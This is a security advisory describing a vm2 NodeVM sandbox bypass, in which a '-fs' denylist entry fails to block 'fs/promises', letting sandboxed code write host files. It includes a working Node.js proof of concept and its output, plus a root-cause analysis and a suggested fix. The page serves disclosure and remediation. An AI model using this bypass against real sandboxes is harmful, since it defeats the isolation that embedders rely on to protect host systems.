Résumé
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
Détails de l’avis
Summary
NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.
With the following configuration:
require: {
builtin: ['*', '-fs', '-child_process']
}
require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.
Affected Files / Functions
lib/builtin.jsDANGEROUS_BUILTINSBUILTIN_MODULESmakeBuiltinsFromLegacyOptionsaddDefaultBuiltin
lib/resolver.jsResolver.resolveResolver.loadBuiltinModule
lib/setup-node-sandbox.jsrequireImpl
Root Cause
lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.
There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').
Security Boundary Crossed
Sandboxed code can perform host filesystem writes even though the embedder denied fs.
Impact
Confirmed impact:
- Host file creation
- Host file write
The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.
Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;
try {
fs.unlinkSync(proofPath);
} catch (_) {}
(async () => {
const vm = new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
const result = await vm.run(`
module.exports = (async () => {
const r = {};
try {
require('fs');
r.fsLoaded = true;
} catch (e) {
r.fsBlocked = true;
r.fsError = e && e.code;
}
try {
require('child_process');
r.childProcessLoaded = true;
} catch (e) {
r.childProcessBlocked = true;
r.childProcessError = e && e.code;
}
const fsp = require('fs/promises');
r.fsPromisesLoaded = true;
r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
r.wrote = true;
return r;
})();
`);
const exists = fs.existsSync(proofPath);
const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({
result,
hostFileExists: exists,
hostFileContent: content
}, null, 2));
try {
fs.unlinkSync(proofPath);
} catch (_) {}
})().catch(error => {
try {
fs.unlinkSync(proofPath);
} catch (_) {}
console.error(error);
process.exitCode = 1;
});
Observed result:
{
"result": {
"fsBlocked": true,
"fsError": "ENOTFOUND",
"childProcessBlocked": true,
"childProcessError": "ENOTFOUND",
"fsPromisesLoaded": true,
"wrote": true
},
"hostFileExists": true,
"hostFileContent": "vm2-fs-promises-marker-<pid>"
}
Additional local checks:
require('node:fs/promises')also loads and can write the proof file.- Adding
-fs/promisesblocksrequire('fs/promises'). - Adding only
-node:fs/promisesdoes not blockrequire('fs/promises').
Expected Secure Behavior
If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:
fsfs/promisesnode:fsnode:fs/promises
Negative entries with and without node: should be normalized consistently.
Suggested Fix
Normalize builtin names before allow/deny checks:
- Strip
node:for comparison. - Use one canonical key form internally.
- Strip
Treat negative builtin entries as family denials where appropriate:
-fsshould blockfs/promises.-inspectoralready conceptually blocksinspector/promises; apply the same family logic to user-provided negative entries.
Add regression tests for:
builtin: ['*', '-fs']blocksfs/promises.builtin: ['*', '-fs']blocksnode:fs/promises.-node:fs/promisesand-fs/promisesbehave equivalently.- Explicit allowlist behavior is documented and covered.
Références
- https://github.com/advisories/GHSA-6rh5-qq4q-97xh
- https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh
- https://nvd.nist.gov/vuln/detail/CVE-2026-92958
- https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises
Vulnérabilités liées
Tout Supply chain →- MEDIUMGHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
- CRITICALCVE-2026-92957
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
- CRITICALCVE-2024-6385
CVE-2024-6385 was a critical improper access control flaw in GitLab Community and Enterprise Edition disclosed on July 11, 2024, affecting versions from 15.8 before 16.11.6, 17.0 before 17.0.4, and 17.1 before 17.1.2, that under certain circumstances let an attacker trigger and run a CI/CD pipeline as another, arbitrary user. The bug stemmed from the pipeline-triggering logic failing to correctly validate the identity of the user on whose behalf a pipeline was started, so jobs executed with the victim's permissions, CI_JOB_TOKEN, and access to their CI/CD secrets such as cloud tokens, Kubernetes service accounts, and attached identities, enabling privilege escalation across the platform. It was effectively a re-fix of CVE-2024-5655 (also critical, disclosed late June 2024), whose root cause was that merge requests automatically retargeted to a new branch upon merge would inadvertently trigger pipeline execution as the original author without manual initiation, with GraphQL CI_JOB_TOKEN authentication being disabled by default as part of the mitigation. Both flaws were rated critical by GitLab and prompted urgent patch guidance.
- HIGHCVE-2026-96627
Arcane: Delegated users:update permission allows admin account takeover via password reset (no privilege-hierarchy check)
- HIGHCVE-2026-95837
containerd CRI plugin: Checkpoint restore bypasses destination security context
- MEDIUMCVE-2026-106495
Backstage: Improper access control in backend action invocation